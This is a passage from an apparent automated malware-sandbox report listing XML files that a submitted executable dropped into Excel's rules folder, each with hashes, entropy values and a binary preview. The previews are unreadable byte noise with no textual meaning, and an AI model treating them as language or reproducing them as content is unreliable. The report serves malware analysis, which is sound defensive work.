Preview:	<?xmlM.%.K..2m.8.DW)....].X..wP...]t..N.M..#.u-..#~..t.]_4.g....`@...{....T].....6...^...G.%../...P.D.5L..ZlH?........^...[E`.`.KP.-r.R..+.=..f.#..J.i.Q.$...>.C..l..K0(R...w.w...`w.G.:xAp.H...'aV;..8...-...c.doB\|..7..V&...b...j9K^.B^=.j}.2LmLdO..~...wNo.......g..o....wSV.+Z.......x...M..%.g.{.............V.r...B.uU...OBh..0n..s...O.....8&......RZ.........M-....G.n.{...~.,X9\|+.i.Q.z.cR.....r...r.%..o...4..({.[F.mz.....F.......J..d.6E..I./..h..Q..^y..[..^(8[....4.D..cz.......y..!2...R.........vrU"Y...0-4(bx.......M....\...3.F..if.HZu../}...h...$4@+?..4.._tk[.;.1.cj...VS=..\.......+\...;....c..Ry....'.qe.x....Fy.J....V.......B.....P.ly........`..W.n......B.k..Z..(..4f....4.\|.....sC....C.9)O.E..]..........eo..8"....R.Pd.F.L...T.8.>.j...9O$D.....C..OR......A....f...R.`T......~%uv..xE...,....>$_GH%..H..B.LXTF.....%.1.He?...C.)...Xg.......h:....).#"u.f.u..e...C.<.........!.....G..~....._U.\|.0r.&.......6...c.&...i..3..w.1.lP..?4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.9272051658267815
Encrypted:	false
SSDEEP:	48:K1IwPt2222e4l5BsPF7NDZVI0Ok0OIDexN6rMMOR7k2dn25nUQowgnF83pIQwg7A:K5Pt222P47sPFpZrOqgfYMyUUdVF8fzU
MD5:	F20A253909D5A7FA64CC3AE536135D98
SHA1:	F55FD1BD6032D294D7AB4D909968A0405F84054F
SHA-256:	B0D211CDAB984212E46B6279AD4C0D4B929F9A99C4A8684F2FAFBACB2E6A414B
SHA-512:	B45F8E48F9F217AD694FA9899FBD0CCF575E22C535FDE93E09998E66F960FBC3FFED02150402F4CA3E29E1C9D277B5D61EEE13EA5D1C180DA562CCC27279BD3D
Malicious:	false
Preview:	<?xml<..Ls....^/.E..5<.Qb.j...D>Va9:..z.......n`..vt.'....]'NU..{_.../.R..'v....~..zP<j.e..V.C.qU...4.`W.m_.S.4...".\.$.d..1...>...I;..P....7...V...3......!.p;........uZd.F.._h.z.E..i)....D^..F.,2E43...d...7[ .."...p......?PQ=D..9-.,Kk....A.hkZ..#.c.0GH.g.[.0...Q.....}.......WDJ...,./.[...).OT....%...>....q......W....s.....3j.Bj...\|......F.U.['.\|.rl........86o5.-heu..A5.R.....eGPt...cK`.vP.d...._.t.4..\|..h{......\.:..U...p.9L......Yv..CW2(....4zGI)A....}2......e..F..24I..u. .\..}.....)..D....@j@...D..n.-`vET4...p.N{...R..\|...'o...t...U.......\l...yF.!q9...ZBC....l;.Yb.M.... ..[._..n..Pox.1.p.i.)-1o.a....].x1......>w....$....B$..nVY.p.hq...(.i3U..Uw.o..}...J..I.=....4%..iK... .i.{..,Z..p....'..5...+.......+.+).....H..v.....\s.nG!..R....P....#..H..E..qi".&...E..e....\|...E55..7...x.J.CS(...?.9.7._..PO.>..PCH..zY9..~T)mj..X..x.^.G.n....~..a.Ym,..RzL./.I....M........5...!...6s...O.E.."M_...!.......A..o..$..up.c...9...K.YC..E.m..j.....#ol

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.873202630576526
Encrypted:	false
SSDEEP:	48:AJMsJFP4Id89aIbSt+2RrFRyPLuLRinkzD:AJFwQ89V2Rr/yyLRinkf
MD5:	00A291F67B6D33C390AECEBAEC78C9FC
SHA1:	7B5D1EB24C47BF7BBB7477D7190E0DBB45FB0433
SHA-256:	A691F2BD9A6E8B8AEEEE771BFAA88C7A9AA5DD8DE4DA3BF9AD15D326B3E14E37
SHA-512:	289ABF19777C0FF7A8F2D1AD9713E4F30AD935C08BCD5402C1FABFC11BEB704052EF17AE2E65A78367F69CBF202A3487D69EC4EC0B79D71AD841B8C79AE990E7
Malicious:	false
Preview:	<?xmls..X...,.......D.c...-&W......G.......\|.u=pv\...+E.q.L..5A.0h.MJ.~..V....}_.'....<...z........s..J..Y,.f^]0.{.......D.....n~6..a.z._#d.+..(K.[..y...Dh..W.L(]i.$c...=.......G........j..S5.-r.z(.....]...]..R#+cF3...._..XF.<.F..-).0.2G....ZV..J.....R....H..d...<.T..?/....>.f....]"..^...9.?../..j.....9.Dk...<t..........}.V;`e.r....Sf.....P%G......D.../.....(-D.p.O.i.f...b....Z..C`.......K].gqb.Z.,!...vc..P..&6~.zZ....:./.eWf............7..a8..m(..iiz...N.....q..k...{.....Nh.8C....{P.....c._.9.GS......b\.{..0.......%!..&..h.3..`..."......W..Z..0Rb..M....CK..G{c].>.X3..M.J..i.X.$...me.gF>...tz.~....$g`h.Y..."._.d..Y../.eMF9.1.jR!......e>.G.;B.r.Kc.o..'w;.I....pa..C....:[.&;.h..N......Y\..\|z..K.t.~.X.-...1.....).I......u..}o.@..2...ae..du.$.....6..]...x..6.~8..1..&.T..Y...`..BoI..u=Y.>.!...k.6B.<.E..[u..` .7....<.bI\....0..o.8.5X;..}..kn..`..>{.^......c.....T=.].f......a..3.c.gg...[...p=..0..)0.8....EQ.BZ....%*4,..ji.F.._.:p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.914776750818934
Encrypted:	false
SSDEEP:	48:Dgu+1ZHYoZYuFEf8P7HRf1lwd70j2XAaYHhIfjZ4iqEVD:DMwXIEf8PFf67wS6hI+HA
MD5:	764D26B2FB2C32326F9CCC6AA29AC9A5
SHA1:	5CB30762D1776A47F1A8A54B816B11AB4B693C25
SHA-256:	95439D44AD8C39B7A7D02308DDCCAE23FE7E675066051528C5F9CA6FC11A9077
SHA-512:	0468CFBB6B640AD65C8B5047FE5E742B36D176EB1EE003657183F141E3C0041131A198AE8AFD405DEF2E54AC34C6A1434C6953AAEBCD850F708762993BD08CAA
Malicious:	false
Preview:	<?xml....?.+....;J...8.6.......7..y..Wp2t.^..GEcg,...sr.{..7.h......M...5Z..J...2.....aw'd3slkif)e..,..X.,.....p.!./.!6j2.. Gl..!X."`.'...>W/.......V..K.x...j...L<Z...P9.m..p.W.i.e..."T..E.;.....V..NU..../%.k.#.Epi....$vr.A..N.....'..jr.\..q..D.....mx..xf...6.....q.O.WK ..Q.d?...M....d.s...J...V................0. ..7.D;^.v..........X..k={.h0.o....t.a........K(.......v:.K\.[.(D./$c.2....=.....!.n...Y.........`...5..(...3.1..L.._...@I5..{S\.....J......J../...R.j../..A..r... ..wy.~Q.3..P..f...5...z...).A...C.1.\|.FB...0.....k.;...L.ap^F...q..v..?.q...>...y.y.P.=...R' .?1+.x$?s....'..)..XHY.~.Z*."Z... ...S....+.vi.........t..a8.l.N..%.Y.W.m....C..~.12..~.?ZBB@.......Uhp...h..@.....~Z.fH.}^r>j..^.7..4..... ......od.h.{..&O.. ..rbL.@U.v..N.q..~...W..9.\p......L.,.N..R.k..}5..u.6xj..7.H....T#.q.b..DB...G.....c...(~9...%..;..!..Om}(......q...+./N.bW..c~..hr.......B.........w.........G...,f.....t....D..B...}.).?.....4}..5K.r.U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.888569988140544
Encrypted:	false
SSDEEP:	48:we3ZtjC+EPWuCYgvASQxZBDCTfuGQXrupJPS9BgatSY6D:H3ZtTEPWu1g4SQBDmfuGQwJPOBe
MD5:	E0BEEB0D69FBF744C8F29ACE67F0A921
SHA1:	1690BDDA69290479BCB54DA5A516699CBD25F45A
SHA-256:	8E78288DD69F0B8B65BB29ACCFAA3F68653F1D5440B562EC5BDD656C09130F2A
SHA-512:	7E93F46AACA3B1DE7979306819F204DBBBD1EED1EE3EF5C0FA2DD6BF84CE99A676368D3AF17737ADCC2D1057B90E5BEDD16CA15C36DA03A0B61643547F24CB6B
Malicious:	false
Preview:	<?xml.t.)MU./3C...~.b..q.(%,_.y......r...(haE4....7.......~..'6{.5........5...::Zl...Oh."......f.B#T.EU.t@....3..r.Gj....x..c.3.+.t..EG......b.V.JxX..a..-;.cd.&..x._...!'k%......qp%a..b..=mh..7.%T!.....t..Kns...'.5q'L.L.&..h....+Z.,..:.......nQg........c..4.....H.V..+..u.N.o.J8zb......K.V.9...a.hlr..^}.[=Rg.....=.S=..L...H...........3".O.\.x...L.B.x+.L.....yU.......gRg.a...K.D^H..b...B+.?.....Y......8i..j}x...Du.H.xg...4..&.U.W.v...1.L..>.D.'.?.....?..-../Wm...A}.V.$q..."..i.....X.@@..RY1.UkZ?0%..\|C........^......iR...D.9Pr.r..(.HV?..P.h...d.7..w.Fks.n.&G..:....N..my..(.j...(.....^cd.?...`?.9.jCN.F...jV.A...Z..A.T..4..]8.(.v."s`l.?`.'.J.C.0S. )..l.&.-.A.f&.r...a..k..l.......x...p......r9.~.;e..Q.Z... X....E...'.....xHZ....n.0.[}..#:J3...........b;U.9.Iy...W._l.WU..c...X.H../P...V.J...[F.Mw5r.....!.....7.......0#.I..<..y..sQ..InxF!..E......76........R..I.*..7..]kO./7.ED!p....3H:e....7.z.]b^...y...p._d....m7.....k.hG...DzQn.!=..r.@..j.[..W;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.830454271396033
Encrypted:	false
SSDEEP:	24:OWluK+hmaZPgH/+H4SjOXGN1rOwuj8GGtaFbD:NI7maZYHRSjOXGNdwDD
MD5:	09AAD3D879D62FAAE3C7227EA264BDDA
SHA1:	0566D584155858822F7E797BABA14BF6B63151C4
SHA-256:	3B2D70A229745C8A900F9DFEF3DF23CC757CFD549C7882A4BE164B3969A4D16A
SHA-512:	38F94FE0F010D29D77B5F147DAB64468CA9DEABF90057C806FC94510E61132D05E58061A441452290A661E778D1A7785EDDBBCCD42EFF62A155A638FC84F887D
Malicious:	false
Preview:	<?xml.u.z...7..s.M5..B+d....g.......ADmT...3.7.l..AL...[.[..6..Y...I.....M...,.J..MDW...I..\|2......@...^.)FT.p.....xE..j.~.s..Z..14.!.G...n;t.fB...~@.3}?y:e.}...tl........tn...t....)..w8.D?f....s....1.....5.X......Y.~........_.....O.-......hyL.V^.:...X.Z.........?.....e.:....fG......'...[w..0.......!d........3....-...ZGG.=`.0..\|.. >..SZ6.T.`..;.s-.7.-...S.q.d.M].....s.k'[=8.yl."..F. .s..y)$.D.V..5yX^...@.b.f.........,.df:=dT..yY......Dh..Vu".....I.,.....{..K.(.-[.j.q....B......,.;..x.......n:..yl?86%......}.... ..P.....bg.$\.._.Q......u....R.B../.}...H..L:...o./.-.......XEf.!.A.u..r..J>..O\|.e..w.........w.9......F.dK..]v....;...%.$.........x.xt7..wXR....W/<......r*.;./...Y\6.%...,`.x_..3r.J:~.V.t..I.#].?:.......T..i....0.PH........Z...T.#7. >..3..M..k.......@./@b.wEFF..........$.c..jl.ke..1.S.8.....T.]\...o....OS.-.3.v...Ea3............joo..........:._.#....%8`.....?Z..B."...:.b.v\|...!.O..Z.....SA`-.t.>..)4_..;..Pz^5(W.a#.n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.787222677893181
Encrypted:	false
SSDEEP:	24:QoFpWD42TGMpTNB86hK27+7V9A93jc/TKWdiIdt2ZYNHbD:QIpWD4yGO5M27+Qp0TKWow2Z+7D
MD5:	2B761805FBAF441A99357DF8118F77A0
SHA1:	7D5B479975DF91B27F149D591265B147C721A6FD
SHA-256:	794BD8989B596BB5D64FC4E5143C19DFA7276005818ADC26733031B4EA1E92B4
SHA-512:	BBE27B85D2007B9B67AE9BC3460291F6FD94D7812FAA15AFD9A239A8B4E66EFBD9171F4E731FBACA8BB555DE0D1B9379C6CC456E1C115E5612676B6B09F79690
Malicious:	false
Preview:	<?xml-..NhxW.<..+.lg:.b.:.6.B..8.......a........6..p.U.:\(.Q.&G:...,.?d.qc..rf.\|...d_......T..u.E..0..d...@....n.4..zg#i....\1/.......D~..e.......V=..........^p9R:[.......>d..xH..r.c...xs.`p.y.....h.1..6a..=z..7.....J.... 6.iRjc5<D_.W.@.b.G..;.^....p k.lr..C-....'.$k.N0.jH....=...UV.?...U6..0..$....Sp=...J...... E.E......h.f...w.f..\|w..&YF.e...#x.....9,eQ..+R..z.(.U..Ms..........{...J......{.g.NoT.(.......}.....<...!..F~\|....g.....]0./.T..........j=.t\.....q.wz._..J.T....~w_T{1.a.D._...:.9.d<'.%.n@..u..:P7..<t.f.k.n.:.......:r..\...(.L.s.b....}..l.tv..pK...d..p......C.eF...x..x....{.J.c......%..C.s3.G..J..........>X..cb.Z..,..7Z!O.g.t..=/U......@..o...*..G..j..^.......';.....1..?.$.r.Q\.\|.j...W.\|......[..^...].x.G..\...l#.{....L.....!/..A..W..gv....7RU.W.T8.....T..T..f..../.D!. ..T+C.T.A=.Gxf..!5......=...~.s...Q......... ......R..%...M....?..?h.?W.u&.b..).F...t...71.R.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.809104097598522
Encrypted:	false
SSDEEP:	24:CRIw2FbW1UAgA5gD8sxF0AaQ7D6zHaoXjusuoKbD:CRsuUAg207e7aiumoD
MD5:	1B54438E0E511C19FE0B3B5B4E898B0E
SHA1:	C71A15E0EC960739FEED27191C356BC905E5D146
SHA-256:	31E8495F4BEA4992AE6038BC0D2C2E17B6A7904A9DB8CAFA42A6BEEB9D61E743
SHA-512:	167F2AEE4A26D9585BCAAB727F5A0947E7EFB235CD337B2DEB54281D1FB29282F57729308CDA66C070CD68C8796FFDC442D58004FD933746D4A1E9E633350EC2
Malicious:	false
Preview:	<?xml...=....g.H@ye.j.3KW.............}@.....W..,...b.f.@....o.....r\|.gD........J4.s.....~...T.~Hkr..&....Cn_!M.A..sK.}..7.sr?...W...z...\.^.....p.....\|6...q)....f...1..H..p.....d.MsJ...A1..;.O.uk\|.+....V....6.....!.f].<.j.kB.G...........Y..._.....$..n..lZP....^b.-...H.U..B..N.o.-.4ej#^iek...gX.+..o.H..+T./<.z.H~w....".^.l.NM.(/.q.IpC.5u...)....R..?.J..^....W.?..g..B\|..7_bCw..0..l.... ...dT.N..^Q....0O)K:.ecV2..,....9>.k{.S.9A....B...#{.............L.[`..},.6.....u.l...~t&....6.U2[.....>...?.l..WT3V..BQ...;.,..2j..g.F.5/...H.....Q.#D/.Y.@.C.x......K?C.U-0~..pH.B.W..g........1r.F..,..Y.8...9D9B...U.(..f..............e.XK.nfs.N.2f.......2f..o9.PB.Pe..l@.T.l0a...G`~.f...7R...IJc.yZ..>>,.....<.4.d.\...fO....b.!..o.nN.....[.d.4._.m+x.'G<.vA.8......VG.......:.~.{..c..8.Q%.U...K,.ECmk..v*.>#&..P.Q.q7b.A.g.>..p....I..U`?9..9..G.....-..)Q...s.Jx...\x........+.:..[....,.{....Y......d....tldR.$..4......4.das...&.18.$....=......)$..<.....Pe...R. j..o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.815009323284399
Encrypted:	false
SSDEEP:	24:5kUkesLuCxG7vUEqdmh7/TH1CZWsFWPiczm6DNewSebD:mksLuwmh7/TwAW4iBEYwND
MD5:	E96FEBA673F6B6DF6C4679696BCCEF83
SHA1:	434F9E8093022DBA7351B80649D82F8B481D2788
SHA-256:	EEEF2EA0B20984452B5E827F2FADF21B2723E1186FD814AB6D58A3CACBC16182
SHA-512:	310F063D290D63B3D63AA221D5C26225209B6C27853A79F836FEB112DDEDE7CCC888FBC855969C34D7A4E16D556073DB953514814FA2BBC1148F7793B0985B44
Malicious:	false
Preview:	<?xml.)=..8...@..MD].N..1g.D...].}:...........e{...........pQM..X..DXn...t..@)##k.5.-)....../~Q.$pC.B..1.i..Y..@C..\I$.^..?.t....i]}G.....DH....b..9<.zu..6.L...C)P(....!.q.X.i..p.X.7.BtH./\|'..h.{...3......odE.... .j.K..h.v.+J.we...p.Q..w[.Z.K.../^...t.mINYv....42U..P....q.i.u..^0.......L..,....#.M...3..RG3.e...$.d6...\....p.2....7..".w...M....PB....qQ.z~....h+4.A.G.3.0..C7.K..q...D...+T.....+.RzW.k..W.b.k..N....N......pg[.F..B`[D....1.....^......'E.....,Z.~...6e...XN..9.{.p.'....t...............B3...}].#.]..J...E.G5..>p...9..3. .8..D...S.H.m...`.)=..F(.0S.G..6.1N..>.....S.6...x../ni'....;..Y.^..%d..<5.aaZd.g.q...1....\|...HR.XF.S..A.T....K..j.........v..u-s...~........./y..7y...\|...#/qm.z.......eQR......S.....#....KvQ..y43~..;R..).C.i.....<.HE.iZ.8.."j\...m..G.../#-..Jz....>..\|....D#.qws.k.....E.E.,....%G..`.[N..T...v..-%o.t.`p...Y......!.A.,...K.....N....B.-..8T.0........7..#.<....42.I....ZDd....7.L/.)............T....N...........z..<....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.885986367226878
Encrypted:	false
SSDEEP:	48:6CdHpsryIgSKQHscQIhoTl9qqeyCaH8VL9rZ7thisD:psryDXQHsohSdepV5rbhiI
MD5:	76CD882E9B1AC4F637483396F9435C46
SHA1:	C3290044679BAD4B213AD5756819002F76D47A99
SHA-256:	F6215424404B9D7D4FE9192E30F54FD6D97674A889AE8F5F998F1D40FFF18674
SHA-512:	525C8B17761D64C48ACFA5E8A54E181EE5E772F16569EA6BCB6FD34FCE1B899B4384A8BBDC1C2311F8A80F715742121A40320A7B04A190682348117591E91BF6
Malicious:	false
Preview:	<?xml..O.t.%.'S.l'.. ..QN....f..'.ZO._..%2.b._.h...]I#.{....b.0. ..I..#.w..w.O..=c...o...].U.'mh.Ci.&.T.5uy....J..F.....Rc.D..VN...2.H.....D...:... b.I......P..Z.\|.....7=.T....D...~.......V.n...v5.0.....B...2\......K...54R.1^1...g%.....%~(........o..0.;.YPe....z}...m<.~...yi.Q.'.>...'Sfw..s..1>5w(..5.%tk.......q......nw..eg.....7.lu.gg.?.>...#....X.\(0J"...(.^..-......g.jk(...k.....mY.s..>...Wnh.....W...&..N.C+..:..)....R..f}N....r.#....=..(:..V.L}g...c...I.{Ja...M..Z....S=;&f..,yJ...z....:$aqDP ....i.-..W..o.N...9..3..Az....n...0)..r..d....f\|p...GS.&.&....!.....V..-...7#E0.....\.p.a.B.........\|..M]&.#.._.X)....u...l.\|..w.......}....+Q...2.m..M;..F.....k.8'.....S.4....b.cR.+..+....\|.<..cS0r.!.U..:...l`....>..tC...F.....7..T.\|a..W...._<..<.l.b`..;.I...@.*....]....k...../.......@7.{..)..V.R.....sF....'o..@NItv...=.....$.M&Y`Q.Y..G..6.\S.^...J....#.o.-....F.9xk...UD... .F.^...../...Tb...E-...G{\(...SU..e.}....)..q{..Q1i.&.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.863380665081916
Encrypted:	false
SSDEEP:	24:YqUYHiSFglRdNGQZYuH4MUfSNMp8ySvIvB1tHGxYkl6EherUbD:pBHiSirZYuH4MnBfsjtHGxpl6Aer+D
MD5:	D109954918FA90165AFE3C154394B674
SHA1:	B9C358E70C347E45C43D153DA9C0990799D96EA8
SHA-256:	B39840FFD974BF7DCBF59746F0EE81DDD2E6370D8EBA0C486974E808BF86AC0E
SHA-512:	78A6349937B87FA88FA27CA9DA1A6667057B5A396677445AB87A86D56CB6B7C53D7C186CD4611972B62DC87290A97DC90572946367BA3F7073B09352F88C2C6E
Malicious:	false
Preview:	<?xmle ....nD.,8...B3..P@x.._Eb....<?.S.......IG..q.%.kZ..{._(8......m..N"[..#.O.Y.q..\.r..@..7...]#..Q..h......?9.6......=......fl.M...%.4.[.^..!...g....W..i]i.a..GM.O.......W.....=rV..1.c....n..Y.RY.z..6_........Dh".U.S...........j.f.l .)..D.w.7.M..k&.an..q..N.. .....XqBA.. .?..q.7..<v.i...).EL.cC....";.:-.:.....e}.....H.[..3...7.....~...^...+Q\G.<.....[......6N_.g.W.Z.k@x~`e..s.G.W.[}#(.S./.....:....1..^(".....'..+..?....b.A#...C.p......R.Z..B.}pY[.A..z?X-J...{.x.t&>..-Pf./.a..,.H........7.a.. ..Bd....#.i.....(.......6......c....;..Le....4..X<}VX....L}.~.^.q.....-.e`.o .G.Jcg?..@.O.{..Fk.....n.N.m.g.q,..:..;.5...8.....+V...^...[.g7.Z...t..&..s......2n;.1.r.z...I...~}Ho.n...:......B8]&...E..._..0>-.. [...$.....`....K..6..-...:(.Zr...J.@.....:.0.....o....O"..UZ.hx.w4.......h.nC~`1b.O..n..#..K.......C.h.@o.K..#.U8.qv...w.<.......R...:.,..H.%..~...N.j5.....;.........\0..!...v..sr...."+~r....[..;Xg.D../7...X.r.....>..a#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.892963979924844
Encrypted:	false
SSDEEP:	48:pgOy9cEqkFbHvNhhZJgUbHRUnWpxS3N107nMD:pgnGEq8pLrgiUWpxS3b
MD5:	E99FAAD62F4E492453724C0375557F6D
SHA1:	0743BB6B4B0933906FF475E00F089464649151C6
SHA-256:	A0E0E941D2C238BAB2D12E0ACD9B06924D241908AD45FD9241B1F4E1CE356761
SHA-512:	FE04716D2D4E4FCD81D9C43495A544A4668C7D62F2AD208A4B9865745DE6D32C072E8671FE302B2183B170501719D99C7767B2245F7C059185435828D780710A
Malicious:	false
Preview:	<?xml..e{.A.n.chi.e.>{R..Y..S....v..)U..Z....-.......p..TsD.....z...&...KP...X.D/&K.D...W.E.=[.S.q.Y"....>.l...8.0....R........)=i(.._8...>%.\|.i.2...}..w.7....F."........+.}N7..sB~nX. ....)7.N..../V.D:./L.!~.w...N......npN.?...]..q.......7.3.'.ab.....cy"?.F<..n...Z.E.....o0hmd1SX..H.Rw...]wT..<.=..Q.....?..5 1....u;...{Gn......r'..Z....-3.".....A+(K;.ZKo.9.yi.q.+#,oC..Id7@....F.K6L5.2!.....Y.b?g.;.....+._`y...&.$..s2.....!.?.....W....y.....y.....b..B0q..7$UB._r.P..W.r.]..zr.h.L.. ..b.:^.wV...........11[\.....]}..r.....[.x0..'.n..$p.s..".+.rD^.y....D..Yj..dg.....C.#.8..i.kX....\|.".,.;.....C..?.C.K;Q.v~,I......pk....\.O.p.Ew........ie.r\j"_.......#@\m#nvW...M..,..q\|0..t.n8.e.LD.N....._.].R."...4...}.d.M4..;k.A..x.....n.d..:/A.O.C.@..u......H;........4...j.Wkw.....A.2...._HoHx(...8..y.!.........".........y. -....v.....T...........5....e....oc.C".?..1S..;.!.5<..X...V..n".P!.G`..s..D....0...rG!.TyW.....y..pF.EQ..s.Y....l\:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.864950000973019
Encrypted:	false
SSDEEP:	24:HJJONQfN6vQSUpxPYZ/65Vmwelrrsd7aGA1eWKqzwWNK+KLj50kLIe9PsbD:bO+fVpKmkDlrr7G8L0RvxwD
MD5:	D14948AAFAA17D86F161550AD4561E1C
SHA1:	D47887C1D7579BEF3077F0B48300270D44763B16
SHA-256:	5B3A1DC46ECC85E0243E3F65044D876EDCCC9DBEE42A54F86C86CAAEF704AEFF
SHA-512:	EC74E64C9714DACEFAC606C59DE375E03B22DC48CE3902A97BE21781CDDC805331EBF353D623DD72FBFD8CE6A6ABF5582E6BEE635642F8452B1BEC1DFD3C2B69
Malicious:	false
Preview:	<?xml..y:!...h........n.RjS.U^]..R...W.c..T..BT...]IX...".Q.$.E9`.i..v?...T..xcX..(lB.[B.,$.....T.yN.w..L=....YKK.....T&..F...T...."..L.FH.A4.."H...,\D......;.l....L...]\H...p....."........D..[..]o..\.B..v.`;..P.....i?..l.I.{..eQ....Uj....6k.~...g...N.f.i....~Q.]\w.8...[..6.3zO....R....{X...hH=.....GN..`....^o..-.......9...d.'...,....%qC...a8...~...xnL.%O..._.}.e..Ve'.n..6.N..iDc#...]~V.....E.....L..K...mD.o...@2...E.[.......6.d8....F.cH.#.T...3L..C7.@....J!.(.;5..Rc........U.. .P'\.._r...eT..Vlw...z..Cq8.9..^.e)...G.3..F.$..{..Q..=...pC08.......!......j1.....X.....SN.-.}....l.fH...p........>.G ..P..J..=....<J..71mxIl>.../U0...h.3;....../.c...M>.nT1x5.pO.x......\.'..Q.....6.n.W.*.....3.d7...q.Au...K\O\|.I7@.,....R...N..s+g.Tl..]/W.:.hq.S.@...L...6.....BW.Y.G..nP.f..`7....Nj...V....S..q..>r.....x.q....TV..k.w...\|.P.z.+...JH...L.............=.....8.2TRC?^...wTr......L...._..zp..'..A....N7..0........3ZC...b.)@Y.E.7.8.<o.c.2..B.!..".. -.6._S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.914391896376921
Encrypted:	false
SSDEEP:	48:StwdEPrpsI0zlGlfysqHupxphLiczIaC4ypcbX97q85H9D:OzZ0zlGfVqOpLhLiccaC4yuX97qkl
MD5:	2D08EE471C85660B9EAF55BA12964A84
SHA1:	2F3579084931E94E3B18E728CC4845842B650EE8
SHA-256:	1F7F961263653BC115199A2605D2993691A45175D86B4D042992A6B2175DF985
SHA-512:	A5C5529BB2E970BCAFD2EEB07623DDD421CFAA2329CD44E35428F7E83C1D0BA4D714B5C94E4E73D3A77A84CA1F8968C10566B676636967733D6BDDAE056DD76F
Malicious:	false
Preview:	<?xml..4.....9..U-ID..L..\..f.EWu.B....6.j!...d..Q...q.....T..47((.l.r..A* L..`..D.......M...j.......(=..<.m.........p.h...m5.=>7.O.G......A....n.....hK.#...3....7.....~b5.....w#iv7..2U..B..(.7,.o..I.7...P.(....s.F......#8{,U-K")j.Mw..G#.3........\.Xe.p:..}..H....L.8T2.=.=.2_o....W.qY.D.}dh4.$.#..V#...S....8.s...9:..2..,Z...[..8U.C7.........}.eZG...n...R.z.....m/W..].U.}V...E.....FD....O.X.y$&-J..L....1.....^I..+W{.BV..T..@K..8.d...U.+c...%\U...uTkJ.<.....6d...$X...`~..O]f.@.B.......o...Zxr.&RH...$./.#..90.....i.z..RV..6G....gUs.n.[<i..".5.qm....@.gGd.uw...\[..FI;y....J...zd..tG....[...# ..X..7...,.,.VJ.....[` ....h..;...Q..h........r.....r.....a...kL5.H..]w?%.7..8../.......$\|.KV..Hq).;W.`u..#...!..Y.\<?.. F".A.I..L..Z..d..4..<L...@..C.b@..N.-)FM...y..w<.Z....m..w..4^.......[sJ.V..me?.eJ. ...'....,..1A..B. M.G..4..C.g.7o...T.2....f..{V._\..t...m.*.;.UA.....$.gr......@..N-..G.%Y.t&...Q(...7........5........;.w..w.hu...... 7.\.@V.t..........B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.860240864358506
Encrypted:	false
SSDEEP:	24:e/4LnZKC0Q3h1F/TAsFXe3LQi5dxBzY6mBUidVTNQqP0it8bD:eQnZKC0D4e3LQcdxBz4UidVi1D
MD5:	9FC47DB195B4E9C2B6FE46DF0E7F9FBD
SHA1:	EC0A8C7B0426DD5929B336563D3BFCE4A29D85CD
SHA-256:	E5216A03805C6E9B9C807C3673830204D8FAEF694DEEE1D820ECBB14CF731CAA
SHA-512:	54DB4D6A4B591C4E9A0859D90CA1B234A5722414826FFD88800F4F73861E18E02A17F67041E747E6F8D0A9F757610C30A7C2507B213CAD379FE1661CE95C082D
Malicious:	false
